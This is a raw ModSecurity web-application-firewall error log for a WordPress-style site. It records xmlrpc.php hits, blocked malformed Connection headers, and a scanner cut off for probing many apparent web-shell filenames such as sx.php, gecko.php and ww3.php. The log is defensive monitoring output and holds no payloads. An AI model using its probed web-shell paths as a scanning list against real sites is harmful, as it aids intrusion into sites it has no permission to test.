[Thu Jan 08 12:24:17.359728 2026] [:error] [pid 2484:tid 2501] [client 65.21.96.11:49814] [client 65.21.96.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.21.96.11, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8xcTiDlnlaQQK_AEP4UAAAAU0"]
[Thu Jan 08 15:38:40.912495 2026] [:error] [pid 7586:tid 7611] [client 85.13.131.58:49316] [client 85.13.131.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.13.131.58, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV9fAMJyk37GdXP5TmU6RQAAAdU"]
[Thu Jan 08 15:52:08.984116 2026] [:error] [pid 2484:tid 2488] [client 43.157.158.178:56290] [client 43.157.158.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aV9iKDiDlnlaQQK_AEM52QAAAUI"]
[Thu Jan 08 16:54:45.498782 2026] [:error] [pid 2424:tid 2435] [client 102.212.247.186:59320] [client 102.212.247.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.212.247.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV9w1bTDJR8aofkBk9T1SgAAAQk"]
[Thu Jan 08 16:54:47.085829 2026] [:error] [pid 15265:tid 15326] [client 102.212.247.186:59322] [client 102.212.247.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.212.247.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV9w16E6VBKhew2LTFQg3QAAAIA"]
[Thu Jan 08 16:54:48.614238 2026] [:error] [pid 7586:tid 7611] [client 102.212.247.186:59324] [client 102.212.247.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.212.247.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV9w2MJyk37GdXP5TmVGRgAAAdU"]
[Thu Jan 08 16:56:17.652462 2026] [:error] [pid 17404:tid 17416] [client 108.167.189.113:36822] [client 108.167.189.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 108.167.189.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV9xMWVd_oH193N6AnWYrgAAAYo"]
[Thu Jan 08 16:56:19.677167 2026] [:error] [pid 2424:tid 2442] [client 108.167.189.113:17638] [client 108.167.189.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 108.167.189.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV9xM7TDJR8aofkBk9T1sAAAARA"]
[Thu Jan 08 16:56:21.263543 2026] [:error] [pid 15265:tid 15337] [client 108.167.189.113:17644] [client 108.167.189.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 108.167.189.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV9xNaE6VBKhew2LTFQhawAAAIs"]
[Thu Jan 08 16:56:36.468644 2026] [:error] [pid 15358:tid 15378] [client 183.56.195.224:40536] [client 183.56.195.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.56.195.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV9xRCoRk9xWJ3toSBJP2AAAAMg"]
[Thu Jan 08 16:56:40.894642 2026] [:error] [pid 2484:tid 2498] [client 183.56.195.224:55668] [client 183.56.195.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.56.195.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV9xSDiDlnlaQQK_AENJ-gAAAUs"]
[Thu Jan 08 16:56:50.586692 2026] [:error] [pid 2424:tid 2436] [client 183.56.195.224:59642] [client 183.56.195.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.56.195.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV9xUrTDJR8aofkBk9T1zAAAAQo"]
[Thu Jan 08 17:21:21.925435 2026] [:error] [pid 15264:tid 15308] [client 92.204.221.14:51816] [client 92.204.221.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.204.221.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV93EYov6_kvS0Owh-rzzAAAAEk"]
[Thu Jan 08 17:21:25.517405 2026] [:error] [pid 15263:tid 15285] [client 101.32.208.70:36276] [client 101.32.208.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aV93Fdv61bxum7WG_e_kmQAAAA0"]
[Thu Jan 08 21:54:14.085468 2026] [:error] [pid 7586:tid 7610] [client 13.75.69.16:31439] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aV-3BsJyk37GdXP5TmV4dAAAAdQ"]
[Thu Jan 08 21:54:15.917189 2026] [:error] [pid 17404:tid 17421] [client 13.75.69.16:32608] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aV-3B2Vd_oH193N6AnXKkgAAAY8"]
[Thu Jan 08 21:54:19.767120 2026] [:error] [pid 15264:tid 15316] [client 13.75.69.16:20179] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aV-3C4ov6_kvS0Owh-ocZQAAAFE"]
[Thu Jan 08 21:54:21.656003 2026] [:error] [pid 15358:tid 15394] [client 13.75.69.16:32589] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aV-3DSoRk9xWJ3toSBKLPQAAANg"]
[Thu Jan 08 21:54:22.323116 2026] [:error] [pid 15358:tid 15386] [client 13.75.69.16:34386] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-front.php"] [unique_id "aV-3DioRk9xWJ3toSBKLPgAAANA"]
[Thu Jan 08 21:54:23.085722 2026] [:error] [pid 2484:tid 2486] [client 13.75.69.16:34406] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-front.php"] [unique_id "aV-3DziDlnlaQQK_AEOcZgAAAUA"]
[Thu Jan 08 21:54:28.907261 2026] [:error] [pid 2424:tid 2442] [client 13.75.69.16:21435] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-front.php"] [unique_id "aV-3FLTDJR8aofkBk9Q44QAAARA"]
[Thu Jan 08 21:54:32.007795 2026] [:error] [pid 15358:tid 15376] [client 13.75.69.16:32954] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-front.php"] [unique_id "aV-3GCoRk9xWJ3toSBKLQwAAAMY"]
[Thu Jan 08 21:54:34.922257 2026] [:error] [pid 2484:tid 2511] [client 13.75.69.16:25226] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xenium4.php"] [unique_id "aV-3GjiDlnlaQQK_AEOccwAAAVc"]
[Thu Jan 08 21:54:36.457182 2026] [:error] [pid 15358:tid 15378] [client 13.75.69.16:26310] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xenium4.php"] [unique_id "aV-3HCoRk9xWJ3toSBKLRgAAAMg"]
[Thu Jan 08 21:54:37.741534 2026] [:error] [pid 15264:tid 15300] [client 13.75.69.16:21406] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xenium4.php"] [unique_id "aV-3HYov6_kvS0Owh-ocbQAAAEE"]
[Thu Jan 08 21:54:38.825839 2026] [:error] [pid 17404:tid 17426] [client 13.75.69.16:25274] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xenium4.php"] [unique_id "aV-3HmVd_oH193N6AnXKmgAAAZQ"]
[Thu Jan 08 21:54:40.372824 2026] [:error] [pid 7586:tid 7602] [client 13.75.69.16:31452] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid-file.php"] [unique_id "aV-3IMJyk37GdXP5TmV4hAAAAcw"]
[Thu Jan 08 21:54:41.031634 2026] [:error] [pid 17404:tid 17413] [client 13.75.69.16:32053] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid-file.php"] [unique_id "aV-3IWVd_oH193N6AnXKnAAAAYc"]
[Thu Jan 08 21:54:42.017800 2026] [:error] [pid 15265:tid 15345] [client 13.75.69.16:32013] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid-file.php"] [unique_id "aV-3IqE6VBKhew2LTFRXqgAAAJM"]
[Thu Jan 08 21:54:43.093520 2026] [:error] [pid 15265:tid 15342] [client 13.75.69.16:27297] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid-file.php"] [unique_id "aV-3I6E6VBKhew2LTFRXrQAAAJA"]
[Thu Jan 08 21:54:43.547924 2026] [:error] [pid 2484:tid 2502] [client 13.75.69.16:21418] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-user.php"] [unique_id "aV-3IziDlnlaQQK_AEOcigAAAU4"]
[Thu Jan 08 21:54:44.160611 2026] [:error] [pid 17404:tid 17407] [client 13.75.69.16:24573] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-user.php"] [unique_id "aV-3JGVd_oH193N6AnXKngAAAYE"]
[Thu Jan 08 21:54:45.214527 2026] [:error] [pid 2424:tid 2432] [client 13.75.69.16:30345] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-user.php"] [unique_id "aV-3JbTDJR8aofkBk9Q5CwAAAQY"]
[Thu Jan 08 21:54:45.947943 2026] [:error] [pid 7586:tid 7596] [client 13.75.69.16:30637] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-user.php"] [unique_id "aV-3JcJyk37GdXP5TmV4hgAAAcg"]
[Thu Jan 08 21:54:46.898686 2026] [:error] [pid 15264:tid 15303] [client 13.75.69.16:19942] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aV-3Joov6_kvS0Owh-ocbwAAAEQ"]
[Thu Jan 08 21:54:47.763511 2026] [:error] [pid 15358:tid 15381] [client 13.75.69.16:23187] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aV-3JyoRk9xWJ3toSBKLSwAAAMs"]
[Thu Jan 08 21:54:49.749007 2026] [:error] [pid 17404:tid 17406] [client 13.75.69.16:32010] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aV-3KWVd_oH193N6AnXKoQAAAYA"]
[Thu Jan 08 21:54:50.909985 2026] [:error] [pid 2484:tid 2503] [client 13.75.69.16:27284] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aV-3KjiDlnlaQQK_AEOckgAAAU8"]
[Thu Jan 08 21:54:51.671213 2026] [:error] [pid 15263:tid 15278] [client 13.75.69.16:1096] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/green.php"] [unique_id "aV-3K9v61bxum7WG_e8OugAAAAY"]
[Thu Jan 08 21:54:52.197484 2026] [:error] [pid 2484:tid 2496] [client 13.75.69.16:24524] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/green.php"] [unique_id "aV-3LDiDlnlaQQK_AEOclAAAAUk"]
[Thu Jan 08 21:54:57.930692 2026] [:error] [pid 2424:tid 2433] [client 13.75.69.16:33168] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/green.php"] [unique_id "aV-3MbTDJR8aofkBk9Q5JwAAAQc"]
[Thu Jan 08 21:54:58.449885 2026] [:error] [pid 2424:tid 2427] [client 13.75.69.16:28657] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/green.php"] [unique_id "aV-3MrTDJR8aofkBk9Q5KQAAAQE"]
[Thu Jan 08 21:54:59.401801 2026] [:error] [pid 15358:tid 15373] [client 13.75.69.16:19920] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mhpglaje.php"] [unique_id "aV-3MyoRk9xWJ3toSBKLUAAAAMM"]
[Thu Jan 08 21:55:01.736752 2026] [:error] [pid 15265:tid 15331] [client 13.75.69.16:24526] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mhpglaje.php"] [unique_id "aV-3NaE6VBKhew2LTFRXtAAAAIU"]
[Thu Jan 08 21:55:02.294719 2026] [:error] [pid 15265:tid 15349] [client 13.75.69.16:23010] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mhpglaje.php"] [unique_id "aV-3NqE6VBKhew2LTFRXtgAAAJc"]
[Thu Jan 08 21:55:04.217493 2026] [:error] [pid 2424:tid 2449] [client 13.75.69.16:30385] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mhpglaje.php"] [unique_id "aV-3OLTDJR8aofkBk9Q5NAAAARc"]
[Thu Jan 08 21:55:07.262414 2026] [:error] [pid 2424:tid 2437] [client 13.75.69.16:28647] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aV-3O7TDJR8aofkBk9Q5OAAAAQs"]
[Thu Jan 08 21:55:08.650544 2026] [:error] [pid 2424:tid 2442] [client 13.75.69.16:28624] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aV-3PLTDJR8aofkBk9Q5OQAAARA"]
[Thu Jan 08 21:55:09.338834 2026] [:error] [pid 17404:tid 17428] [client 13.75.69.16:22988] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aV-3PWVd_oH193N6AnXKpgAAAZY"]
[Thu Jan 08 21:55:10.477288 2026] [:error] [pid 17404:tid 17426] [client 13.75.69.16:27838] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aV-3PmVd_oH193N6AnXKpwAAAZQ"]
[Thu Jan 08 21:55:22.365023 2026] [:error] [pid 2424:tid 2442] [client 13.75.69.16:30358] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aV-3SrTDJR8aofkBk9Q5VwAAARA"]
[Thu Jan 08 21:55:23.607782 2026] [:error] [pid 15263:tid 15287] [client 13.75.69.16:30390] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aV-3S9v61bxum7WG_e8OxAAAAA8"]
[Thu Jan 08 21:55:24.061503 2026] [:error] [pid 15358:tid 15372] [client 13.75.69.16:1935] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aV-3TCoRk9xWJ3toSBKLVQAAAMI"]
[Thu Jan 08 21:55:25.023669 2026] [:error] [pid 7586:tid 7588] [client 13.75.69.16:34478] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aV-3TcJyk37GdXP5TmV4lQAAAcA"]
[Thu Jan 08 21:55:26.160932 2026] [:error] [pid 15264:tid 15309] [client 13.75.69.16:34191] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dout.php"] [unique_id "aV-3Toov6_kvS0Owh-ocfwAAAEo"]
[Thu Jan 08 21:55:26.688239 2026] [:error] [pid 7586:tid 7593] [client 13.75.69.16:29362] [client 13.75.69.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dout.php"] [unique_id "aV-3TsJyk37GdXP5TmV4mAAAAcU"]
